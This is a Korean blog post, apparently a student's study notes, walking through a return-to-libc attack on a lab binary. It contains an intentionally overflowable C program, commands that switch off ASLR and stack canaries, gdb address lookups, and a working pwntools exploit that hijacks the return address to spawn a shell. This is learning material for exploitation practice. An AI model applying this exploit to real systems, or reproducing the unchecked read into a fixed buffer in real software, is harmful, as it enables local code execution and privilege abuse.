ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • RTL 공부 1
    정보보안/포너블 2018. 5. 17. 20:17

    RTL 공부 1

    어쩌다가 RTL?

    대체 ROP가 뭐지?

    -> ROP 배우려면 RTL이랑 RTL chaining, GOT overwrite 배워야 한다네

    -> RTL부터 배워 볼까?

    어떻게 배우지?

    읔엨

    이론

    사실 정의는 안다고!

    -> 근데 정작 실전에서 하지는 못함(누가 문서만 훑어보랬냐)

    정의

    RET(return address)에 메모리에 적재하는 라이브러리 함수 주소를 덮어씌워서 실행

    -> system()의 주소, /bin/sh 문자열의 주소 구하고

    -> 잘 BOF 해서 RET 덮어씌우면 Profit!!!

    사실 Profit이라는 말을 쓰고 싶어서 함 해봄(킹갓해커분들이 쓰시기에...)

    예시

    스택에 올린 쉘코드를 실행하지 못하게 하는 DEP 같은 보호기법이 있을 때 라이브러리에 있는 system()으로 돌려서 쉘을 딴다.

    다시 읽어볼 거

    • 해공예 540~543
    • 달고나 뒷부분

    참고

    정말 설명 잘 되이따...

    실습

    한번 해보고 싶다

    -> 근데 CTF 바이너리는 막 취약점도 찾아야 하고 코드도 막 겁나 기니까 겁난다

    -> 설명 잘 되있고, 실습 꼼꼼하게 되어있는 늅늅이용 자료 없나?

    http://d4m0n.tistory.com/79 헉 엄청난 곳(D4m0n님 블로그)을 발견해따...

    아래 내용은 위 게시글을 따라 공부한 것

    공격하기

    취약점이 있는 코드

    #include <stdio.h>
    #include <unistd.h>
    int main(void){
        char buf[256];
        read(0, buf, 512);
        printf("%s", buf);
    }
    

    공격할 취약점이 있는 코드 rtl.c는 위와 같다.

    메모리 보호 해제

    junhoyeo@ubuntu:~$ sudo sysctl -w kernel.randomize_va_space=0
    kernel.randomize_va_space = 0
    

    랜덤스택 노노해

    junhoyeo@ubuntu:~/pwn/rtl$ gcc -m32 -mpreferred-stack-boundary=2 -fno-stack-protecter -no-pie -fno-pic -o rtl rtl.c
    gcc: error: unrecognized command line option ‘-fno-stack-protecter’
    

    보안 바이바이를 하려고 했으나 어라? 항상 잘 되던 것이 에러가 난다.

    당연하겠지만 *** stack smashing detected ***: ./rtl terminated 라면서 제대로 pwn도 안된다.

    junhoyeo@ubuntu:~/pwn/rtl$ gcc -m32 -mpreferred-stack-boundary=2 -no-pie -fno-pic -fno-stack-protector -o rtl rtl.c
    

    다시 해보니 정상적으로 컴파일된다.

    -fno-stack-protecter
    -fno-stack-protector
    

    앗! 자세히 보니 끝부분에 oe로 써버린 실수 때문이였다... 윽 영어

    (gdb) disass main
    Dump of assembler code for function main:
       0x0804849b <+0>:    push   %ebp
       0x0804849c <+1>:    mov    %esp,%ebp
       0x0804849e <+3>:    sub    $0x104,%esp
       0x080484a4 <+9>:    mov    %gs:0x14,%eax
       0x080484aa <+15>:    mov    %eax,-0x4(%ebp)
       0x080484ad <+18>:    xor    %eax,%eax
       0x080484af <+20>:    push   $0x200
       0x080484b4 <+25>:    lea    -0x104(%ebp),%eax
       0x080484ba <+31>:    push   %eax
       0x080484bb <+32>:    push   $0x0
       0x080484bd <+34>:    call   0x8048350 <read@plt>
       0x080484c2 <+39>:    add    $0xc,%esp
       0x080484c5 <+42>:    lea    -0x104(%ebp),%eax
       0x080484cb <+48>:    push   %eax
       0x080484cc <+49>:    push   $0x8048580
       0x080484d1 <+54>:    call   0x8048360 <printf@plt>
       0x080484d6 <+59>:    add    $0x8,%esp
       0x080484d9 <+62>:    mov    $0x0,%eax
       0x080484de <+67>:    mov    -0x4(%ebp),%edx
       0x080484e1 <+70>:    xor    %gs:0x14,%edx
       0x080484e8 <+77>:    je     0x80484ef <main+84>
       0x080484ea <+79>:    call   0x8048370 <__stack_chk_fail@plt>
    ---Type <return> to continue, or q <return> to quit---
       0x080484ef <+84>:    leave  
       0x080484f0 <+85>:    ret    
    End of assembler dump.
    (gdb) b *main
    Breakpoint 1 at 0x804849b
    (gdb) r
    Starting program: /home/junhoyeo/pwn/rtl/rtl 
    
    Breakpoint 1, 0x0804849b in main ()
    (gdb) p system
    $1 = {<text variable, no debug info>} 0xb7e45d80 <__libc_system>
    

    system 함수의 위치를 구한다.

    오오... 저렇게 함수의 위치도 구할 수 있구나... 신기하다.

    #include <stdio.h>
    #include <string.h>
    
    int main(void){
        long system = 0xb7e45d80;
        while(memcmp(system, "/bin/sh\x00", 8))
            system++;
        printf("/bin/sh: %p\n", system);
    }
    

    system() 어딘가에 있는 /bin/sh 문자열의 주소를 구하는 코드 find.c이다.

    junhoyeo@ubuntu:~/pwn/rtl$ gcc -o find find.c
    find.c: In function ‘main’:
    find.c:6:15: warning: passing argument 1 of ‘memcmp’ makes pointer from integer without a cast [-Wint-conversion]
      while(memcmp(system, "/bin/sh\x00", 8))
                   ^
    In file included from find.c:2:0:
    /usr/include/string.h:65:12: note: expected ‘const void *’ but argument is of type ‘long int’
     extern int memcmp (const void *__s1, const void *__s2, size_t __n)
                ^
    find.c:8:9: warning: format ‘%p’ expects argument of type ‘void *’, but argument 2 has type ‘long int’ [-Wformat=]
      printf("/bin/sh: %p\n", system);
             ^
    junhoyeo@ubuntu:~/pwn/rtl$ ./find
    /bin/sh: 0xb7f66a3f
    

    Warning이 좀 뜨지만 무시해도 ㄱㅊ음.

    컴파일하고 실행하면...!

    /bin/sh의 주소를 얻었다.

    공격했다.

    어 그런데 Python exploit으로도 가능하지 않을까?

    from pwn import *
    import os
    
    p = process('./rtl')
    system_adder = 0xb7e45d80
    bin_adder = 0xb7f66a3f
    payload = 'A'*260
    payload += p32(system_adder)
    payload += 'A'*4
    payload += p32(bin_adder)
    p.send(payload)
    p.interactive()
    

    헉 진짜 쉘이 따졌다.

    ASCII-Armor

    더 찾아보다가 ASCII-Armor라는 RTL 공격의 대응책이 있다고 해서 살펴봤다. 라이브러리 영역의 상위 주소에 0x00을 포함시켜 널바이트로 인식시키는 방식이라고 한다.

    재미있다.

    '정보보안 > 포너블' 카테고리의 다른 글

    RTL Chaining 공부 1  (0) 2018.05.18
    pwnable.kr 3번 bof : pwntools로 자동으로 브포 때리면서 풀기  (0) 2018.05.17
    pwnable.kr 4번 flag  (0) 2018.02.04
    해커스쿨 FTZ level6~9  (0) 2018.01.05
    해커스쿨 FTZ level5  (0) 2017.12.28

    댓글

Designed by Tistory